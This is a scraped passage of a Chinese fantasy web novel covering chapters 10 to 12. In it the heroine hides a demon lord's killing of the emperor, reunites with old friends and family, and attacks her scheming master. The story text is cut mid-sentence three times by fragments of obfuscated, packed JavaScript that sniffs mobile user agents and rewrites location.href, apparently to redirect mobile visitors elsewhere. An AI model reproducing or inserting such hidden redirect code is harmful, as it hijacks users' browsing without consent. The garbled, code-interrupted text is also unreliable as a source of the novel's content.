l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746882|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么多在乎的,她只想护住自己在意的人就够了。 本质上,或许她和宁樾是一类人。 季疏浅看了看倒在地上的人皇和一旁晕倒的太监,皱了皱眉,不毁尸灭迹人皇这个死法还挺别致的,说不定元容与会察觉到什么。 犹豫了一瞬,季疏浅将太监扔出殿外,看了看那把沾上血迹的龙椅,掌心燃起一簇火苗……大殿渐渐被浓烟笼罩,季疏浅头也没回的离开了。 季疏浅漫步在无人的街道上,发现做完这一切竟然有些痛快,宁越倒是阴差阳错帮了她一个忙,做了她一直不敢做的事…… 回到客栈,就见到宁樾靠在床榻边把玩着手中的蓝色火苗,眼瞳已经恢复了正常。 季疏浅顿了顿:“谢谢你顺带帮了我一个大忙···只是你以后想喝血,我可以带你吃鸭血的。” 宁樾:“……?”这都是些什么乱七八糟的东西。 他只是昨晚想起了些不好的回忆,顺手就去解决了。不过……他视线一顿,远处的夜幕中浓烟缓缓升起,他有些诧异的看了一眼季疏浅。 “你把皇宫烧了?” 说到这个季疏浅气不打一处,“你杀人都不知道收拾下现场吗,还是我来给你收拾摊子,你这要是被发现了怎么办?” 宁樾:“……本王杀人不需要遮掩。” 季疏浅有些无语,在另一处床榻躺下,拿出传音铃和林知意联系……计划有变,但她还是得支走阿姐和叔父。 按了几下传音铃有了反应,她本想结个隔音罩,但转念一想都一起杀人放过火了,他听了也没啥事……况且他看起来睡了,她不动神色地侧目看了看宁樾。 “小七,我还正想着你这么久没来音信会不会出什么事了,你在哪里啊?” 她怎么记得不过才两天呢?“没事没事,阿姐我在广陵城。” “你怎么跑去广陵城了?你忘了上次师父抓到你罚你的那次了吗。”林知意的声音有些焦急。 她记得上回她在一次任务途中路过广陵城,没忍住回家看了看,回到天道山就被元容与罚去挨雷劫。 她笑了笑:“阿姐你放心吧我不会让他给抓到的,就是阿姐我想麻烦你件事,可能要你来趟人界。”这是她已经在屋檐上想好的说辞。 “啊……小七什么事,我最近可能不空。”林知意罕见的犹豫了一下,传音铃的那边似乎传来了一些嘶叫声。 季疏浅没料到林知意会这么说:“阿姐什么事啊,不是让你回去养伤吗?” “小事,你还记得那只狐狸吧,回来后我让几个修医术的长老看了看,她们说这只狐狸不是无端发狂,而是中了毒,她现在就在我旁边关着···看起来有点难受。” 中了毒?季疏浅冷笑了一下,这毒是谁下的她已经有了猜测。 “而且小七,这只狐狸身份好像不一般,我听他们说,这火红色的尾巴只有妖都的九尾狐世家才有,我得送她回妖界。” 回妖界,真是天助我也。季疏浅默了默掩下内心的雀跃,有些伤感的开口:“阿姐你看这事能不能让叔父帮忙送一下,因为···我担心我们家要出事了。” “出事?什么事,小七你怎么知道?”林知意有些焦急。 “我那天确实偷偷回了家一趟,看到一封信,我担心我家和我们家的世交会扯进政变,阿姐你之前处理过这种应该比较得心应手吧。” “嗯……小七你先别担心,千万别乱来,我让我爹去送吧,我明天就启程来人界。” 听到这里季疏浅鼻头一酸……她在阿姐心里应该一直都是那个被她护着长大的小妹妹,可她还是瞒着她了。 “好,阿姐对我最好了。”季疏浅像往常一样甜甜地撒了个娇,还不忘了叮嘱一句:“阿姐千万别让元……师父知道了。” 没注意到一旁闭着眼的宁樾什么时候睁开了眼,斜斜睨了她一眼。 10. 广陵城(五) 季疏浅是在各种各样的叫卖声中醒来的,醒来时她还疑惑了一下,怎么就睡着了,她一向睡眠很浅。 刚坐起来,就看着宁樾换了身深蓝色的阔袖袍立在床榻边看着她,见她醒了,扬眉笑了笑:“日上三竿了啊……” 季疏浅:“……现在应该还有早市。” 她一向喜欢睡懒觉。 今日是中元节,街市格外热闹,季疏浅买了几个热乎乎的烧卖,往宁樾手里塞了几个:“你尝尝。” 宁樾对上了她满怀期待的眼神,尝了一口烧卖,在心里默默想……原来是个爱推销吃的的。 季疏浅自然没管他怎么想,自顾自的走在前面塞了一整个烧卖,宁越走在后面看着她腮帮子一鼓一鼓的,嘴角不自觉噙上一抹笑意。 远远便能看见气派的镇国公府,季疏浅看了看宁樾,眼神示意他给他们俩施个法术。 宁樾就看见少女抬头看着他,黑溜溜葡萄似的眼睛转了两圈,似乎给他传达点什么,他略一思索明白了她想干什么,随手施了个术法。 嗯……有点默契,季疏浅默默想了想。 镇国公府比季府更大,府中的一花一叶都是特意陈设,沿路都有嶙峋的怪石做景,整个府在雅致中透露出深藏不露的奢侈。 一路走着,季疏浅和宁樾就遇到十来个侍女,季疏浅有些奇怪,她记得以前镇国公府精减下人,怎如今会有这么多人。 正思考着这其中的变化,迎面而来一个穿着月白色锦袍的小公子,看起来年龄不过十岁出头。他眉眼生的和苏聿有几分相似,但苏聿更多的是少年人的朝气,而面前的公子看起来有些病中的柔弱。 季疏浅反应过来,自己下意识将他和苏聿比较,“娘怎么今日叫我过去,有何事?”有些有气无力的声音传来。 “陛下驾崩,但未立下传位诏书,现下几位皇子争得你死我活,应当是想提醒公子不要连着镇国公府卷入夺嫡纷争……”他身旁佝偻着身形的小厮连忙答上。 母亲?看来他就是镇国公续弦的儿子了。 季疏浅不由得想到一些话本子上写的,一般续弦为了让自己顶替先夫人所出,会明里暗里对嫡子使绊子。 想到这里,季疏浅猛的想到会不会苏聿是皇后所出这种秘密就是镇国公夫人透露出去的,这样一举两得,既解决了苏聿,又能顺势扳倒皇后太子一脉…… 季疏浅扯了一把宁樾的袖子,低低说了声:“跟上。” 跟着前面主仆俩,他们很快来到一座院子,院子中种满了各色的花,百花开放,争奇斗艳。 季疏浅打量了下这座院子,不知道的还以为是御花园呢…… 一道绣着娇艳兰花的屏风里在门口,绕过屏风,美人榻上倚着一个穿水红色薄衫的女子,阳光映在她脸上晶莹如玉,微微上挑的眼增了几分媚态,乌发似云,插着两根雕花步摇,步摇下坠着几颗红玛瑙。 主仆二人进去后,女子仍用白皙的手指点着一旁的水缸,漾开点点波纹逗弄着水中的鱼儿。 “娘。”月白色衣袍的公子微微俯身。 “嗯。”女子接过侍女递来的手帕擦了擦指尖的水滴,“陛下驾崩你应该知道吧。” “知道,娘,什么人胆子这么大,我听说那尸首都烧得不成样了,看不出死因,哪个皇子这般心急还有这个本事。” 听到这里,季疏浅有些心虚的看了一眼旁边跟石雕一样立着的宁樾……杀人凶手和放火帮凶都在你屋子里啊…… 宁樾仿佛没看到她的目光一样呢,不知在想什么。 “这些不是你该管的。”女子的语气突然犀利起来,回过头看着他:“你该管的是怎么除掉苏聿这个孽种。” 好吧……果然是这种桥段,季疏浅叹了口气,苏聿这些年应该不好过。 “娘……你把他的身世透露出去了?” “嗯,结果才透露出去皇帝就驾崩了,要不是巧合就麻烦了。”妩媚的声线带上了隐隐担心。 ……还真不是巧合,我也没想到身旁这个魔头说杀就杀啊,季疏浅默默在心里嘀咕。 “娘,那现在怎么办,如今外戚专权,若皇后有意扶他上位,他坐上了那皇位,那我们俩岂不是……” “呵呵”女子笑了起来,步摇随之晃动,发出叮当轻响,“就算她要扶他上位,你看这满朝文武会同意吗,他的出身注定了不可能正当光明的出现在世人面前,还世子呢……” 猛地听到这话,一直在想其他事的宁樾双手突然紧握一瞬···这句话千年前好像也有人对他说过。 季疏浅感到周围气息瞬间变化,侧目看了眼宁樾,就见他左手紧紧握住,根根青筋凸起,他怎么了? 季疏浅犹豫了一下轻轻碰了碰他的手,感到手上的细微触感,宁樾回过头正对上她有些担心的目光:“没事。” 真没事吗?但转瞬间宁樾的神色恢复正常,仿佛刚刚都是她的错觉。 “娘,你说苏聿会不会是装装样子,我经常听他们说起苏聿年少有多惊才绝艳,现在这样会不会是迷惑我们的。” “你倒是聪明了一点。”女子微带笑意看了看她,“所以我派人看着他的行踪了……这个祸患还是得尽早除了。” 听到这季疏浅皱了皱眉,幸好阿姐午时就到了,她应该熟悉皇后,可以帮着谋划一番。 至于这俩人的对话她没有耐心继续听下去了,季疏浅扯了扯宁樾:“走吧。” 一处偏院中,着锦袍的男子眼神有些迷离,步态轻浮,一旁的小厮见状马上搀扶住他:“世子殿下,您少喝点,下回让将军抓到了又少不了一顿责骂。” “知道了知道了……你把那个舞姬送走。”男子似乎还有些意犹未尽,一只手搭在小厮肩上猛地凑近:“下回再带过来。” “是是是,小的知道了。”小厮吓了一跳,连忙招呼几个侍女拖走了床上衣不蔽体的貌美舞姬。 刚觉得屋中清净了些,苏聿摇摇晃晃地坐在桌案旁。 冷不丁女子的声音突然响起:“好啊,苏聿你现在真是出息了。” 回过神来,看着空无一人的房间,苏聿微微带些红晕的脸颊染上一丝不可置信,就见凭空出现一个粉裙的少女和一个着深蓝色锦袍的男子。 他仔细端详了下两人,少女的神情虽然冷冰冰的,但看着五官脑海中渐渐浮现出一个小姑娘。 而一旁的男子,他很确信自己没见过他,神情是和少女一样的冷冰冰,只是……他从他眼神里看出了……不屑一顾。 正看着,少女一巴掌拍上他面门:“酒醒了?你连我都演?” 苏聿盯着眼前的少女,默了一瞬收起了吊儿郎当的样子,笑着开口:“还以为是谁呢,这不是季伯父的心肝宝贝儿吗?” 季疏浅不置可否,淡淡开口:“别来无恙,这是我···朋友宁樾。” 苏聿看了看一旁没作声的男子:“该叫···宁兄?一看就是个翩翩公子。” 季疏浅:……这眼神真该练练,你要是知道他是你们口中的大魔头估计会收回这句话。 默了默:“伯母离世我很抱歉……你继母可不是个省油的灯。” “哈哈哈。”苏聿笑意不达眼底。 “回来多久了,打探这么清楚啊。” “苏聿,我没和你开玩笑,你知道你现在的处境吗,你知道整个镇国公府的处境吗?”季疏浅摆出一副严肃的表情。 苏聿愣了愣,上下看了看季疏浅:“你还是我认识的那个季疏浅吗?” 凑近了一点,半开玩笑地开口:“五官倒是没变,怎么现在这么咄咄逼人,还是小时候可爱……” “我回来找你有正事,没空叙旧。”季疏浅冷冷打断了他:“你知道……你的生母是谁吗?” 这句话一出口,苏聿眉毛一瞬皱起:“你知道?” “……皇后。”看这样子苏聿八成知道了。 苏聿一挑眉:“你别告诉我你是在皇宫屋檐上偷听的?” 季疏浅:“……!”尴尬笑了两声,还真被你说中了。 “苏公子好眼力。”一旁默不作声的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746883|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁樾突然不怀好意地笑了笑,看了眼旁边佯怒的少女。 季疏浅定了定神,神色自若地换了个话题:“你应付得过来吗?我找了个人来帮忙。” “不用。”苏聿有些不悦地打断她:“你真以为你哥一无是处了?” “没有没有,就是帮你处理些棘手的事,有天道山的人相助,你不就可以大杀四方了。” 其实在来之前她就想了想,以他对苏聿的了解恐怕另有谋划,不会如表面上这般简单,刚刚听到那对母子的对话印证了她的想法。 ……只是,她叫阿姐过来主要是想支开阿姐,帮着解决倒是其次。 “既然两位远道而来,我还是得招待一下,中午去你最爱的千味斋如何?”苏聿换了个话题。 “……昨晚我和宁樾已经去过了。” “哦?”苏聿扬了扬眉:“哈哈哈这么多年还是馋嘴,带你去望江楼吧。” 为了减少麻烦,季疏浅还是让宁樾施了个术法,直到他们远离了镇国公府才解开。 苏聿看着宁樾一番操作,像是想到什么好玩的:“浅妹,你在天道山学的如何啊,和宁兄谁厉害,要不你们俩比比剑我观摩一下。” 季疏浅:“……”和着小时候我坑你,现在你坑我是吧。 倒是宁樾听了这番话笑了笑:“在下自然不如季姑娘剑法精妙。” 季疏浅:“……” 苏聿听了就来了兴趣:“浅妹这么厉害啊,露两手呗。” 季疏浅冷着脸开口:“没空,联系人。”随即拿出传音铃一个人走到前面去了。 苏聿看着她朝前走去的背影瘪了瘪嘴:“现在怎么这么不近人情,还是小时候可爱……” “她小时候是什么样的?”宁樾突然开口问道。 苏聿盯着有些古怪的男子,想了想应该是浅妹天道山的朋友,就不暇思索地开口:“她小时候说话奶声奶气的,像个小糯米糍粑一样,爱哭爱闹爱撒娇还特别贪吃,但是祖母他们都说她像个小开心果一样,两家人喜欢她不得了呢……就这么恃宠而骄,每次闯祸不都我来背锅……” “不过……”苏聿突然想到什么。 “浅妹看起来娇娇柔柔的,实际上比谁都坚强,那年妖族蠢蠢欲动的时候天道山选弟子,她测出来是天生灵根之后闹着要去天道山,但季伯父他们怎么舍得啊,他们就这么一个女儿,从小就宠着长大,不知道去天道山要受多少苦呢……” “你猜啊她干了什么,大晚上收拾包袱留了一封信偷偷跑了,把两家都气的不行···” 苏聿皱了皱眉:“话说宁兄,你们天道山修行是不是很累啊?” 宁樾还在琢磨天生灵根几个字,冷不丁听到苏聿的问题,他这是把他当成天道山的人了? “……挺累的。” “那我替浅妹谢过宁兄照拂了,她性子有点闹腾,多谢宁兄担待,我看宁兄你肯定靠得住。”话毕,苏聿还顺手拍了拍宁樾的肩。 性子闹腾?他怎么一点没看出来。 宁樾面上表情有些奇异,他心里涌起了一丝奇怪的感觉……或许是千年前没有人敢这么叫他宁兄吧。 走在前面的少女突然眉开眼笑的转过来:“走快点,阿姐已经到望江楼了,马上就可以见到阿姐啦。”然后双手捉裙向前小跑去。 怎么在天道山还认了阿姐?苏聿在心里嘀咕了一番。 望见望江楼的牌匾时,或许是少女情绪的感染,他们不自觉加快了脚步。 汴河旁游船来来往往,烟柳画桥,一派盛景。 望江楼倚江而建,江边站着一神白裙的女子,女子打扮的很素净,一头乌发用一根银钗半挽起,这般素净的打扮却衬得女子容貌更为惊艳,来来往往的路人时有回头看的。 季疏浅远远地看见阿姐,飞奔过去:“阿姐。” 闻言,林知意转过身来,看着衣袖翩翩飞舞的少女褪去眉眼间的冰冷,笑了笑。 这边,苏聿和宁樾也看清了季疏浅口中的阿姐,苏聿心中一怔,怎么是她? 11. 广陵城(六) “阿姐。”季疏浅轻快地奔到她身边,一边给她介绍:“这是我哥哥苏聿,这是……我遇到的游侠宁樾。” 林知意对上了苏聿的目光也是一愣,随即微微低头微笑示意。 宁樾听到季疏浅轻快的语调狐疑的看了她一眼,季疏浅赶忙给他眼神示意,委屈一下当个游侠。 苏聿听到游侠时还有些奇怪,难道天道山的人还身兼多职? 他打破了沉默:“那我们上楼吧,小二要个雅间。” “好嘞……您四位随我上来。” 坐下后季疏浅拉了拉林知意的袖子:“阿姐,那只狐妖呢?” 林知意微微一笑:“别担心我让我爹送去了。” “哦,那让叔父路上注意。”悬着的心终于落定,季疏浅舒了一口气。 苏聿已经点完菜,将食单递给对面的林知意:“你看看还要不要加菜。” “不用了。”林知意淡淡的拒绝了他。 “宁兄呢?” “不用了。” 好吧,修仙之人都这么不重口腹之欲吗?苏聿将食单递还给小二:“就这些吧。” “等等,等等我要加菜。”季疏浅刚回过神就看到被递出去的食单,连忙抽了回来。 “你不相信你哥我?你喜欢的我都点了。”苏聿看了看她有些奇怪。 季疏浅当然知道,只是她突然想起来昨晚跑到皇宫里喝血的某人:“我再加点。” 然后看了看菜单:“毛血旺,火锅鸭血,猪血粉丝汤,剁椒鸭血。”然后拍拍手:“就这些吧。” 一回过头就看见另外三人齐刷刷地盯着她,苏聿更是有些奇怪地开口:“浅妹,我记得你不喜欢吃血啊。” “啊哈哈哈……”季疏浅尴尬笑了笑:“补气血……” 林知意:“……” 苏聿:“……” 宁樾神色难测的看了一眼季疏浅,昨晚说的原来是这个意思啊…… 林知意有些奇怪,但没有多说什么,岔开了话题:“小七,你说的什么事要帮忙?” 季疏浅感激地看了一眼林知意:“就是我哥家的事……而且你应该听说了人皇驾崩了……”说完还有些心虚的瞥了一眼宁樾。 结果罪魁祸首本人正望着汴河,神情莫测。 闻言林知意望向了对面的苏聿:“知道,而且苏公子的一些事我有所耳闻。” “啊,阿姐你们认识?”季疏浅愣了愣,她没想到他们俩居然认识。 苏聿僵硬地笑了笑:“是啊有幸认识……” “你们怎么认识的啊?”季疏浅好奇地搓了搓手望向林知意。 林知意对上她的目光,浅浅一笑:“就是一年前人族皇室内乱的时候我奉命来处理,苏公子有掺合其中,所以就认识了。” 听到她轻描淡写的带过,苏聿松了口气,庆幸她没有告诉季疏浅:“是啊,当时有些事还多亏了你阿姐。” 说到这里他举起茶杯:“当时没来得及好好道谢,今天我以茶代酒先谢过林姑娘。”然后将茶杯里的水一饮而尽。 林知意有些诧异:“举手之劳,不必介怀。”语调听起来与平常无异,但季疏浅瞧见了阿姐有些微微发红的耳尖。 哦?难得见阿姐这种冰山美人红了耳朵啊,季疏浅偷偷笑了笑。 “菜来啰!”小二将一盘盘菜放在桌上,看着五花八门的血,林知意皱了皱眉头正对上同样纳闷的苏聿,然后装作什么都没发生瞥开了目光。 季疏浅没察觉到他们俩的异样,她有意将几盘血挪到了她和宁樾这边,然后看了看神色自若的宁樾。 宁樾也礼貌地回望了她,十分机械地夹了一块鸭血。 难不成他不习惯吃固体血?季疏浅轻轻拨了拨碎发,有些疑惑。 一顿饭吃的格外安静,季疏浅没想明白那么健谈的苏聿怎么今日这么沉默,难道是要在阿姐面前维持一下形象? 本来想找点话题打破这份安静的,但转念一想,阿姐和宁樾都是不爱说话的性子,又看着面前那一笼热气腾腾的流沙包,还是算了吧…… 终于沉默已久的苏聿率先开口:“林姑娘……是要留在人界帮忙处理?” 闻言,林知意抬起明亮的眸子和他对上:“嗯,还要麻烦苏公子了。” 苏聿被这目光看的有几分不自在:“……应该的,说到头还是麻烦林姑娘了。” 季疏浅怪异地看了看这俩人。 见刚活跃起来的场面又要归于沉寂,苏聿随即话锋一转:“也不知何人这么厉害,神不知鬼不觉就杀了那老头子,搞的人心惶惶的,边境好像也不太平……” 季疏浅瞥了一眼斯文吃饭的宁樾,正思索着说点什么,林知意罕见的接了话:“是有些蹊跷,我师父也正派人查了此事。” 听到这话,季疏浅差点没夹稳一块滋着油的烤鸭:“师父?他对这事感兴趣?” 可千万别让元容与察觉到什么,不然可就乱套了。 “他也没说什么,只是说皇位之争到底险恶,要查查是哪一派敢下这种手。” 季疏浅松了口气,听起来只是查幕后凶手。 ……不过她一把火烧得干净,应该留不下什么。季疏浅在心中叹了口气,早知道栽赃给四皇子了,上一世四皇子登基后可是个不折不扣的昏君,这一世绝不能让他坐上皇位。 不过这样看起来,也得尽快带宁樾回天道山了······季疏浅一向不喜欢拖延。 饭后,他们三人先行出来,留多金的苏聿付钱,林知意有些犹豫:“阿浅,这样会不会有些麻烦苏公子,来的时候我也带了银票的……” 季疏浅打断了她:“阿姐你别担心,他家最不缺钱了。” 林知意仍然有些犹豫,季疏浅已经在心中开始盘算怎么支开林知意和苏聿了。 这边苏聿匆匆出来,神色有些古怪:“林姑娘,今日中元晚上汴河要放河灯……要不一起看看,下午我带你逛逛广陵城。” 见林知意蹙起眉毛盯着他,苏聿直觉不妙,连忙给季疏浅使了个颜色。 季疏浅不明所以,她还沉浸在这份天降惊喜中,什么天大的好事啊,她都没想好怎么支开,他就开口了。 整理了一下措辞,季疏浅清了清嗓:“咳咳,阿姐你之前没有逛过广陵城吧,有好多好多好吃的好玩的呢,我哥他最会找好玩的了,你跟他去吧。” 一边说着,一边推搡着林知意往苏聿那边走,林知意有些局促,回头不安地说:“那阿浅你和宁樾公子要一起嘛?” “嘿嘿不用不用,我们还有点事。” “有事?”林知意仔细一想她能有什么事,随即表情渐渐严肃,小七你不许乱来,你是不是想回家?” 季疏浅被林知意看的心里一虚,听到林知逸的话后心中了然,原来阿姐以为她要回家啊,刚刚那目光太过灼热,还以为被看穿了…… “阿姐我发誓我不回家,真的真的……” “……那行,不许乱来哦。”林知意拗不过她。 她猜苏聿应当是有什么话想单独对她说,不想让季疏浅知道,随即就应了下来。 看着林知意和苏聿的背影渐渐消失于人海,季疏浅才猛地意识到苏聿为啥对她阿姐那么殷勤,他们俩该不会? 不可能不可能,季疏浅赶忙打消了这个念头。 转头看着宁樾:“宁樾,我回家一趟,然后我们就去天道山吧。” 宁樾“嗯”了一声。 来到季府,两人故技重施,大摇大摆走了进去。 走到院中时,看清了亭中坐着喝茶的人,季疏浅一双杏眼瞬间朦胧。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746884|145309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们一家有个下午在亭中品茗的习惯,兴许是今日她爹爹不忙,一家人整整齐齐在亭中……就差了她。 看着外婆布满皱纹的脸颊,爹娘头上的丝丝白发,季疏浅这才感觉八年说短不短,说长不长,可时光就是真真切切的流逝了。 她一时没忍住,捂住了嘴小声抽泣。 明明这一世见到他们,她该高兴的,可是怎么也笑不出来。 在她八岁那年决定去天道山的时候还有些懵懂,她只知道自己天生灵根修行后可以像神仙妖魔那样活上千万年,那时她还为自己可以长生不老庆幸。 可当渐渐长大后,她才恍然大悟,自己的家人是凡人,自己会看着他们一个个离去,最后孤身一人。 就想上一世的最后,她要是想活下去,是足够从槐江山逃跑的……只是这世上没有让她留恋的东西了,她不必苟活下去。 宁樾看到一旁捂着嘴哭的季疏浅,心中涌起莫名的烦躁,这种所谓的亲情于他而言不过是海市蜃楼。 他垂下眼睫,走到季疏浅的身旁轻嗤道:“你哭什么,你家人不都还在。” 季疏浅愣了愣,带着莹莹泪光的眼眸直直盯着宁樾,她一时想的太忘情了,都忘了宁樾还在旁边…… 一时有些尴尬,季疏浅用衣袖抹了抹眼泪,其实宁樾说的对,她家人都在,现在她不应该哭,活在当下就好。 虽然宁樾这句话有些冲,不过道理还真没错,季疏浅调整了一下情绪,看着围坐在亭子里有说有笑的家人浅浅的笑了笑。 当下最重要的就是解决元容与,自己还有很多时间可以陪他们的…… 季疏浅想明白后侧过头看着神情淡漠的男子,笑了笑:“是没什么好哭的,走吧。” 走到大门时,季疏浅顿了顿脚步,缓缓撇过头看了一眼被掩了一角的亭子,眷恋却还是回过头毅然决然的离开了。 御剑回天道山时,季疏浅突然有些感慨,重活一世好多心里话她都没法再像以前一样躺在床上和阿姐倾诉,有些情绪要是让阿姐知道了,阿姐定会察觉到什么。 突然视线中闪过一抹黑色袍角,季疏浅望向一旁仍然冷冰冰的宁樾。 哼,不知道的还以为他是面瘫呢,永远都是一副拒人千里的表情。 或许是情绪影响,季疏浅很想找人倾诉,仔细一想宁樾其实是个很合适的对象,至少以他的性子肯定不会和别人嚼舌根…… 想到这,她转过去轻喊了一声:“宁樾。” 宁樾侧过头瞥了她一眼,眉头微皱没有搭理她。 季疏浅见他这副模样也没管他,自言自语道:“宁樾你知道吗,从小我爹爹便教我家国大义,八岁那年我偷偷去天道山,总希望自己能帮人族强大一点,希望有一天人魔妖能平起平坐……” 季疏浅苦笑了一下:“所以在我做出这个决定的时候,我就知道这意味着我会失去很多年陪伴家人的时光,但在从前,我从来没有后悔过,大家面前无小家情爱……可是我现在有些后悔了,有些时候我在想不值得的……这个人界不值得。” 后悔自己不知最险恶不过人心,后悔不曾看清世态炎凉,后悔前世身为人界战神却还是沦为一颗棋子……当然这些自然没有给宁樾说。 宁樾没想到一向沉静的少女一口气说了这么多,平常没什么波澜的语调竟然还染上两分委屈,他侧目看了看少女,应当年纪很小吧,但看样子经历的不少。 宁樾看着面前的少女鼻尖红红的,缓缓开口:“世上没有两全法,做你认为对的事就行了。”顿了顿:“他人你不必理会,这世上有好人自然也有恶人。” 季疏浅默默看着他,正是日落时分,夕阳西下天边浸染上金黄色光晕。 宁樾笼罩在金色余晖中,季疏浅看着他出神,想不到有一天自己居然和魔王谈上了心。 12. 一世痴梦尽 夕阳给月华殿镀上了一层淡淡的浅金色,在云层中若隐若现,宛如九天之上的神殿,神圣不可亵渎。 季疏浅回想了上一世的种种过往,神色漠然,凌空一划,虚华长剑出鞘。 “到了,前面就是元容与的寝殿。”季疏浅垂眸看着虚华,虚华似附和她一般,剑身轻轻摇动。 宁樾一眼就看到巍峨的宫殿……模样有几分熟悉。 待看清了宫殿模样后,挂起了一个轻蔑的笑容,笑意不达眼底。 转头看着一旁的季疏浅:“你知道这宫殿怎么来的吗?” 季疏浅一头雾水地看着他,怎么说话这么莫名其妙。 宁樾没等她回答:“和曾经神族的月华大殿一模一样呢。”说完,神情不见半分柔和。 季疏浅愣了愣,连名字也没改呢……不过也不奇怪,他既然让别人以上神称呼他,想来是很在意身份的。 神族人都这么爱慕虚荣吗?自诩为神,其实人的贪婪欲望一样也没少。 月华殿内,香炉缓缓飘起烟雾,整个殿内被香味充斥。冰玉桌前,白衣胜雪的元容与正和一带着银色面具的男子对弈。 玉棋缓缓落下,元容与缓缓抬眸看了一眼对面的男子,唇角勾起一个好看的弧度:“三弟的棋艺还是胜我一筹啊。” 戴面具的男子垂下眼眸,面具掩住神情,只低低一笑:“碰巧罢了。” 元容与正想说什么,仙侍匆匆来报:“殿下,季姑娘回来了。” 闻言,元容与轻声笑了笑:“终于想起我来了啊。”突然又想到什么似的,捏起一枚玉棋,棋子霎时化为齑粉。 脸上仍然端着一副温和的笑容,却极为阴沉地朝面具男子说:“怎么这一世,还是不愿亲近我……那我会让她不得不,让她只能留在我身边。” 戴着面具的男子看着他有些意味不明地轻笑一声:“那···祝你早日得偿所愿,我先走了。” 说完,打开一个传送阵踏了进去,末了淡淡地瞥了一眼元容与。 元容与看着他走进传送阵,怎么今日这么赶时间……没来得及细想,大殿上粉衣摇曳的女子缓缓走来。 元容与一笑:“小七,总算回来了,如今连你师父我也要瞒着了。” 他没有等到女子的回话,奇怪的看了一眼季疏浅,猛然一愣。 若说曾经的季疏浅有七分像她,那今日,便有九分像她。 他猛然一愣,露出一个摄人心魄的笑容。季疏浅承认他是生的极好的,脸庞似玉,精雕细琢的五官,恍然间和宁樾真有那么几分像。 但宁樾张扬又有几分邪气,五官侬丽,更加惊为天人。 “小七,来师父这里,陪师父下一局棋。”他不掩喜悦地招呼着,终于……终于有几分像从前的她了,恰到好处的冷漠…… 季疏浅冷着脸没动,换做是从前的她,估计已经乖顺地过去了,每每他都只是淡淡应一声,她还总提心吊胆自己是不是哪里惹他生气了。 今日她显出这么明显的敌意,怎么他看起来那么满意。 终于,在季疏浅冷冷地看着他没有做声时,元容与终于意识到不对劲温声道:“小七,怎么了?” 元容与难掩一瞬慌张,匆匆起身,如雪白衣垂下。 待他起身一瞬,季疏浅猛的抽出虚华,直直刺去。 元容与正低头理着微皱的袖袍,余光瞥见一道寒光,慌忙避开。 见他避开,季疏浅一跃到半空,将虚华分出几把虚影一字排开,一道道凌厉剑气直冲元容与而去。 元容与震惊之余抬手一挡,但他没料到季疏浅真是下了死招,一剑过后结界不堪重负,另几道剑气趁虚而入,没入他的胸膛。 看着胸前缓缓绽开的一朵朵鲜红血花,他张了张嘴:“小七,这是为何?” “为何?”季疏浅只觉得可笑,他难道不知道吗,还要装傻。 元容与捂着胸口,怔怔后退两步,不可思议的看着季疏浅,这个冷冰冰的语气和他记忆中的她一般无二,他直勾勾地盯着季疏浅,缓缓勾出一个微笑,然后越笑越大声,整个大殿都回响着病态的笑声。 季疏浅看着他捂住渗血的胸口,笑着笑着就倚着大殿的殿壁无力得滑坐下去,还笑着望着她:“小七啊,我喜欢这样的你,这样的你我盼了好久好久啊,来我身边……”声音逐渐被笑声淹没。 被捅了几剑就疯了?看起来还挺高兴的。 季疏浅拧着眉一步来到他面前,一把死死掐住他脖颈,将他沿着墙壁举了起来,抬头注视着他:“你为什么要害我阿姐,为什么想我家人死,为什么要置我的所有亲人朋友于死地,为什么!” 季疏浅想到上一世种种,越喊越大声,元容与终于从笑声中停下,柔柔看着季疏浅,被掐着脖子似乎还有几分享受。 “答话!”季疏浅呵道。 元容与皱着眉笑了笑,伤口着实有点痛,不过她要不了他的命,这样的她才是记忆里的样子,那个温温柔柔的小姑娘像什么样…… 记忆里的她就该是这么冰冷无情,高高在上的望着他,可他又放不下心中妄念,希望高台上的神明施舍自己一个目光,哪怕……是不带感情的淡漠。 可是……他不能将那个秘密告诉他,因为一旦她知道了,甚至吝于给他一个目光。 他无力地笑笑,就这样多好啊,她又回到了曾经的样子,又不似曾经那般不近人情,和他这么多年的奢求一模一样。 元容与温柔地笑了笑:“小七,他们死了难道不好吗?你就该这样,不被那些人世所谓的亲情,友情束缚……”他喘了口气:“你身边只有我,不好吗?我们可以……” “够了!”季疏浅怒道,一把将他狠狠地扔出去。 元容与就像断线风筝一样被甩飞,猛撞到冰玉桌上,桌身裂成两半,原本的棋局也刹那间崩裂,玉棋滚了一地。 元容与笑了笑,扶着裂开的桌角踉跄站了起来:“小七,我还是你师父,你别忘了你的功夫大都是我教的。” “以前从来没发现你这副温润公子皮囊下套的竟是疯子的魂,简直疯得无可救药,你就因为那样的理由要置无辜之人于死地。” 淡淡夕阳映着季疏浅冷漠的眉眼,她自嘲一笑,随即眼神变得狠厉:“你不妨试试。” 虚华应声而出,元容与闪身避开,一白一粉缠斗在一起。 宁樾倚在殿门上把玩着手中的魔焰 